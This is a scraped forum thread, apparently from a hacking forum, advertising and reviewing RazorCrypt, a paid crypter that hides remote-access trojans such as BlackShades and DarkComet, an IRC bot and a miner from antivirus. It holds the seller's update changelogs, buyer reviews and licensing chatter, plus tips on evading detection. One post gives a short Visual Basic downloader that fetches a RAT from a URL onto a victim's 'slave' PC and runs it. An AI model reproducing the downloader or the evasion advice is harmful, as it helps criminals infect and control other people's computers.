first impression was brilliant!

opened the folder 2 files hwid scanner and the crypter itself, so simple!

login was activated in a couple of minutes

First few minutes i was having issues with the updater but after i gave up seeing if there was an update i got it opened up and got to work.

The layout is awesome! simple and explained really well anyone could use it.

I had a little issue with the icon selection so maybe add a couple of .ico files into the pack as i had to find one from google to use.

Clicked crypt and within 3 seconds it was on my desktop cryped and fully working, although it did keep opening "my computer" when i run the crypted rat.

This crypter is worth every penny!

Ease of use 9/10

gui quality 10/10

looks 9/10

speed 10/10

functions 5/10

bug to age ration 8/10 very low ammount of bugs for such a new crypter.

He advised me to use the AutoBuy feature, and I did so. Once the process was completed my crypter was working out of the box. Activated. I asked him questions, and he answered all of them. I scanned the EXE and ClamAV found it out of 32 other anti's however within 10 minutes the owner of this crypter pushed out a new update. Love this, HIGHLY recommended.

I have a lot of IRL trouble (got my 5th surgery within a few months & am currently moving with my GF to our first own home).

I do my best to release the v2 asap, but RL goes first.

FUD update + finally (this time really!!! had a typo last time sry) fixed startup comes in a few hours.

I will add a non-autoit stub, yes.

BUT it will be an option not the main stub.

Also, i will do this:

Update frequently (keep it FUD)

Fix all function 100% again (Binder/Injection - both are nearly done and will come back within the

next 2 updates).

Add new functions (like Anti-Anubis - no C&P shit, i made it myself take a look at this:

<https://hackforums.net/showthread.php?tid=3005137>)

Work on a group based stub system, and a few more changes.

At all it will be more awesome then it ever was and then the C++ crypter i'm working on ever would be. i will continue coding the C++ crypter and when i think it is good enough for the market (witch i think it really isn't yet) i will release it as an RazorCrypt - addon (like 5\$ extra each month or smth like that) - nobody will really need this because the normal version will have EVERYTHING (including a smaller stub) you need.

Also don't hate autoit for it's file size. It became an awesome language over the years - and really what is 1MB today? -> a few secs download. ;)

BUT it will be an option not the main stub.

Also, i will do this:

Update frequently (keep it FUD)

Fix all function 100% again (Binder/Injection - both are nearly done and will come back within the next 2 updates).

Add new functions (like Anti-Anubis - no C&P shit, i made it myself take a look at this:

<https://hackforums.net/showthread.php?tid=3005137>)

Work on a group based stub system, and a few more changes.

At all it will be more awesome then it ever was and then the C++ crypter i'm working on ever would be. i will continue coding the C++ crypter and when i think it is good enough for the market (witch i think it really isn't yet) i will release it as an RazorCrypt - addon (like 5\$ extra each month or smth like that) - nobody will really need this because the normal version will have EVERYTHING (including a smaller stub) you need.

Also don't hate autoit for it's file size. It became an awesome language over the years - and really what is 1MB today? -> a few secs download. ;)

?Mate 1mb is still much, my cousins in my home couny has 58kbs internet lol.

this crypter use to get updated every week, as for c++ idk what happened to it, i think he should start splitting the crypter stubs into parts. like have a stub for x amount of people so he only needs to update 1 a month or something. there certain people who are killing the stub. he just need to find out who

i also update it often, so there should be no "not-FUD-complaints".

Also i am proud to present you the next update, witch i will release in a few minutes.

This update will contain:

- A brand new gui
- Support for .net executables
- reFUD

Update 8.0.0

I proudly present you the newest RazorCrypt update!

This update contains a complete new GUI!

Why? - I want to make RazorCrypt to look more professional and it should be more easy to use with that GUI.

Also (and a lot of you will be happy about that) I added support for the most .net executables. You can even choose witch Framework (2.0/4.0) you want to target.

I also fixed the injection feature again, it is now fully working!

This update also includes a reFUD and a preparation to our new group-based stub system witch will get embedded in the Crypter soon.

Here is a screen of the new GUI:

[img]<http://speedcap.net/sharing/1557/59e8ae27f9669bff8d688de0050a3ce2.png>[/img]

So as you all want this, here is the actual

thanks alot .

As you can find in the current changelog we currently do support even .net. So emissary shouldn't be a problem. Atleast if it doesnt require EOF,which we haven't implemented yet.

And about hostbooter im not sure what it's coded in.

BTW You may ask some customer for their experience . In general there shouldn't be a problem.

downloader is easy to make , Visual Basic

copy this in FORM1 , and when slave run file , auto download your RAT file and RUN in proces

```
Code My.Computer.Network.DownloadFile("url", "C:\name.exe")
Process.Start("C:\name.exe")
```

The question is:

Without crypt my bs server is 437 kb, when crypt without upx its like 1,3mb. When i open in slave pc one file writes in appdata with 437 so AV detects it and delete it. How can i solve that? When i open in windows 8 too i get detected by the process id.

I use recommened settings and startup in rat, what im doing wrong?

1. Do this works with Athena IRC Bot ?
2. Do this works in Windows 8 (builder) as I have 2012 crypter and builder doesnt works in W8
3. Do it works in Guest OS in VMPlayer/VMWare ?

It has HWID lock or what and what if we need HWID changed (like if I install it for time being in my Server 2008 or VMWare incase W8 doesnt works)

Why not that 50% off deal applies to LR payment ? :O

Price with LR is more costly then Paypal :~

No you won't , the title clearly says on 50% if you pay with pp. And as the thread design says 15\$ = one month. LR atications are handled through razor, you have to wait for him ...

ah so right now I have BTC/MTGOXUSD/LR

Will buying and paying via LR now itself get me activated from you or do I need to wait for Razor ?

Also, what about HWID changes in emmergencies like if I switch from PC to laptop or RDA or vmware ?

I mean, just today morning itself my PC's main SSD crashed and so now I am onto laptop for a few days, will upgrade PC to a new setup and will be on it after 3-4 days.

As you can see, I cant stop my work or can need use of it anytime, so will in such extreme cases

will I get a HWID update/change under reasonable reasons like this ?

Ah actually I used vmware for 2012 as it wasnt running on my W8 but well SSD crashed and probably will install W7 this time

And no lol not everyday, PC or servers dont crash everyday but maybe when some critical incident occurs which will genuinely need a HWID change, ofc I will always try to support my reasons with proof.

Also, any idea in how many hours from now will Razor be online ? Will probably buy it then itself

Great, I have prepared funds in my LR already and keen to try it.

Also, sorry for being a D-ouché but can you please just confirm all my doubts one last time ?

1. It works on all OS including W8 , both builder and bin
2. Bin works on 32/64bit both
3. It works with .net/delphi apps like Athena IRC,Chrome Miner, DarkComet etc.
4. We get regular free updates when stub becomes Detectable
5. HWID change can be made available in dire situations within reasons
6. After-Sales support will be decent if needed
7. Private Stubs (unique and non-shared) can be made available for extra costs if needed and available

Regards and thanks for your time, will autobuy after 2-3 hours so it can get activated fast :P Still waiting for Athena and Chrome miner owners to help a bit to resend me the builders/bins on this lappy as everything gone with PC

1. Tested and works on Win8,win7,win vista,win xp
2. Works on both including unicode
3. Athena confirmed from stoner Spoiler [\(Click to View\)](#)
chrome and darkcomet work too. (recommend DC settings are also on our support forum)
4. Yes you do get ,currently it takes a bit longer than usual cause razor is implementing a new secure system , to provide longer fud times.
5. HWID changes are no problem unless they don't come up daily
6. You can always use our support forum, we are heppy to help you.
7. For private stubs contact razor im not sure about that.

As you want to pay through LR i think razor is gonna be online in about 4 hours and can activate you

Got my answer, got the crypter. Now just waiting till I get activated.

Also this might sound a bit pedantic but it might make you look more professional when i start it it says: Sorry, HWID doesn't match.

(doesn't > doesn't) I dont mind though.

I proudly present the first scanning result by the new embedded scanner:

<http://razorscanner.com/result.php?id=a3ccfd0aa0b17fd23aa9fd0d84b86c058812>

Also here is a screenshot:

[img]<http://speedcap.net/sharing/files/e1/91/e1919c85ea211cb285da0aba78c5c6c8.png>[/img]

don't worry i will care about it's design ^.^

I had a hard time getting it coded with ebola, as we still needed to secure us from abuse.

Anyway i'm glad to tell the scanner IS done!

I will go sleep now (it's 4 am here so....) and will do the last part of the new update tomorrow.

I will release it within the next 24 hours guys (:

Regards, Razor!

Update 9.0.0

Hey guys, the newest RazorCrypt update is released now!

So let's start with the Changelog:

Code ?Added RazorScanner to RazorCrypt?

?re-FUD?

?re-code of elemental parts of the stub?

?embedded a little Christmas surprise for you guys?

Also i want to inform you that i will start logging the time you launched the crypter the last time.

Why? There are 2 reasons:

1. RazorScanner will give you access for 15 minutes to the scan feature if you use RazorCrypt.
2. If there ever is a fast detection again, i will clearly see who causes this after a while.

Ok, let's continue,

here is the Scan-Monitor:

[\[img\]http://elementscanner.net//image.php?ID=f8967c4aa1bea2a782eb71ce01c8325a\[/img\]](http://elementscanner.net//image.php?ID=f8967c4aa1bea2a782eb71ce01c8325a)

As some of you do use it, here is also the BB-Code for the Scan-Monitor:

Code

Check your taskbar and see hidden icons you will get there the razorcrypt.exe icon, just right click on it and your will see a option script paused just click it once and wait 1 min and may be your problem solved.

The version problem shows because you are opening the old .exe
you might have updated it but if the old exe file was named like RazorCrypt(1)
then the same file is not updated, so now try to find RazorCrypt.exe somewhere on pc where it is downloaded.

By far the best crypter on HackForums, RazorCrypt has outlasted many other crypters also has much less frequent detection's than any other expensive / cheap crypter on Hackforums!

Also I heard it was your birthday Razor and happy birthday wishes.

Keep up the good work!

sabata - December 25, 2012, 11:30 am

Sorry for late response. I have tried allot of other cryptors over the years and i have to say this is probably the best iv'e tried so far. The update engine works great nice gui decent crypt speeds and its FUD. The activation was fast and friendly. But i have to say the best part of this cryptor is the compatibility. I have crypted the latest versions of blackshades, cybergate, and darkcommet and it works perfect. Almost all the options work great unlike most cryptor's where you have to use bare bones options which limit the effectiveness of your rat. Over all i give this a 10/10. Thanks for the great product for the great price.(:

Bottom line: You're using it wrong. Nothing wrong with the crypter, ask for help before you complain and condemn it.

Most likely reason is you used a setting on BS that isn't compatible with the crypter. Don't overlap boot options (setting up BS stub to begin at startup as well as the crypter) and don't use compression. There'll be 1 setting in BS that's messing it up, though I couldn't point you towards a fix as I've never used it.

As for the 3rd printscreen, that happens to me to, just move your mouse around the window and the rest of the options will appear. It's a graphical glitch, not a real problem.
